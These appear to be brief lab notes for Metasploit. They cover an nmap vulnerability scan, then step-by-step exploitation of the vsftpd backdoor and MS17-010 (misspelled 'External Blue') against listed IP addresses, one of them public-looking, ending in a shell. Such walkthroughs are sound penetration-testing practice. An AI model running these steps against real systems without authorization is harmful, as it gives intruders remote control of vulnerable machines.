Metasploit

 # nmap -sV --script vuln 50.50.48.112 -v

After scan, we found a vulnerability ftp-vsftpd, Open msfconsole in a 2nd tab.

 # msfconsole

msf6> search vsftpd

msf6> use 0

msf6> show options

Now, set RHOSTS:

 # set RHOSTS 50.50.48.112

 # show options

 # run

Then, it will start running.

 # nmap -sV --script vuln 192.168.45.136

 # search ms

 # service postgresql start

 # service postgresql status

 # use 0

 # show options

 # set RHOSTS 192.168.45.140

 # run

External Blue

msf6> search ms17-010

use 3 (auxiliary)

 # show options

 # set RHOSTS 192.168.45.140

 # show options

 # run

Now, Exploit

 # search ms17-010

 # use 1 (exploit)

 # show options

 # set RHOSTS 192.168.45.140

 # show options

 # run

It will start running, and you will enter the shell. Check

 # sysinfo

 # ipconfig